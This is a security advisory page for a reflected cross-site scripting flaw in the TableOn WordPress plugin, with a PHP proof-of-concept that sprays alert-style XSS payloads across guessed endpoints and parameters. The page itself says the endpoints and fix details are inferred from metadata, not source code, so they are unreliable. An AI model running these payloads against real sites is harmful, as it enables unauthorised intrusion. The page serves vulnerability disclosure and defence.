Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69316: TableOn <= 1.0.4.2 – Reflected Cross-Site Scripting (posts-table-filterable)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.0.4.2
Patched Version
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69316 (metadata-based):
The TableOn WordPress plugin (slug: posts-table-filterable) contains a reflected cross-site scripting vulnerability in versions up to and including 1.0.4.2. This vulnerability allows unauthenticated attackers to inject arbitrary JavaScript via insufficiently sanitized parameters. The CVSS 3.1 score of 6.1 (Medium) reflects the network attack vector, low attack complexity, no privilege requirements, and the requirement for user interaction with scope change consequences.

Atomic Edge research indicates the root cause is improper neutralization of input during web page generation (CWE-79). The vulnerability description confirms insufficient input sanitization and output escaping. Without access to source code diffs, we infer the plugin likely echoes user-supplied parameters directly into HTTP responses without proper escaping functions like `esc_html()` or `esc_js()`. This inference aligns with common WordPress plugin patterns where GET or POST parameters are reflected in admin pages or frontend components without validation.

Exploitation requires an attacker to craft a malicious URL containing JavaScript payloads in vulnerable parameters. The attacker must convince a logged-in WordPress user to click the link. Based on the plugin’s functionality (table filtering) and WordPress conventions, vulnerable endpoints likely include AJAX handlers at `/wp-admin/admin-ajax.php` with action parameters containing the plugin slug, or frontend filtering parameters passed via GET requests. A typical payload would be `alert(document.domain)` or encoded variants injected into parameters like `filter`, `search`, or `column`.

The patched version 1.0.4.3 likely implements proper input sanitization using WordPress functions like `sanitize_text_field()` and output escaping with `esc_html()` or `esc_attr()`. The fix should validate all user-controllable parameters before echoing them in responses. WordPress security best practices require context-aware escaping: HTML contexts need `esc_html()`, JavaScript contexts need `wp_json_encode()` or `esc_js()`, and URL contexts need `esc_url()`.

Successful exploitation enables attackers to execute arbitrary JavaScript in the victim’s browser session. This can lead to session hijacking, administrative actions performed without consent, content modification, or redirection to malicious sites. The scope change (S:C) in the CVSS vector indicates the vulnerability can affect components beyond the plugin itself, potentially compromising the entire WordPress installation through administrative access theft.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69316 - TableOn <= 1.0.4.2 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-69316
 * This script demonstrates reflected XSS in TableOn WordPress plugin
 * Assumptions based on metadata analysis:
 * 1. Vulnerability exists in unauthenticated endpoints
 * 2. GET parameters are reflected without proper escaping
 * 3. Plugin uses standard WordPress AJAX or frontend handlers
 */

$target_url = "http://target-site.com"; // CHANGE THIS

// Common vulnerable endpoints for table/filter plugins
$endpoints = [
    '/wp-admin/admin-ajax.php',
    '/', // Frontend pages with table shortcodes
    '/wp-content/plugins/posts-table-filterable/ajax-handler.php' // Hypothetical direct file
];

// XSS payloads with common evasion techniques
$payloads = [
    '<script>alert(document.domain)</script>',
    '"><img src=x onerror=alert("XSS")>',
    '<svg onload=alert(1)>',
    'javascript:alert(1)' // For href contexts
];

// Parameters commonly used for filtering/sorting tables
$parameters = [
    'filter',
    'search',
    'sort',
    'column',
    'table_id',
    'action' // For AJAX requests
];

// Test each combination
foreach ($endpoints as $endpoint) {
    foreach ($parameters as $param) {
        foreach ($payloads as $payload) {
            $url = $target_url . $endpoint;
            
            if (strpos($endpoint, 'admin-ajax.php') !== false) {
                // AJAX endpoint requires POST with action parameter
                $post_data = [
                    'action' => 'posts_table_filterable_action', // Inferred from plugin slug
                    $param => $payload
                ];
                
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $response = curl_exec($ch);
                $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($http_code == 200 && strpos($response, $payload) !== false) {
                    echo "[POSSIBLE VULNERABILITY] AJAX endpoint: $urln";
                    echo "Parameter: $param = $payloadnn";
                }
            } else {
                // GET endpoint testing
                $test_url = $url . '?' . $param . '=' . urlencode($payload);
                
                $ch = curl_init($test_url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $response = curl_exec($ch);
                $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
                
                if ($http_code == 200) {
                    // Check if payload appears in response (unescaped)
                    $decoded_payload = htmlspecialchars_decode($payload, ENT_QUOTES);
                    if (strpos($response, $decoded_payload) !== false || 
                        strpos($response, $payload) !== false) {
                        echo "[POSSIBLE VULNERABILITY] GET endpoint: $test_urln";
                        echo "Parameter: $param = $payloadnn";
                    }
                }
            }
        }
    }
}

echo "Testing complete. Manual verification required to confirm payload execution.n";
echo "Note: This PoC tests common patterns inferred from metadata. Actual vulnerablen";
echo "endpoints may differ. Always test in controlled environments only.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School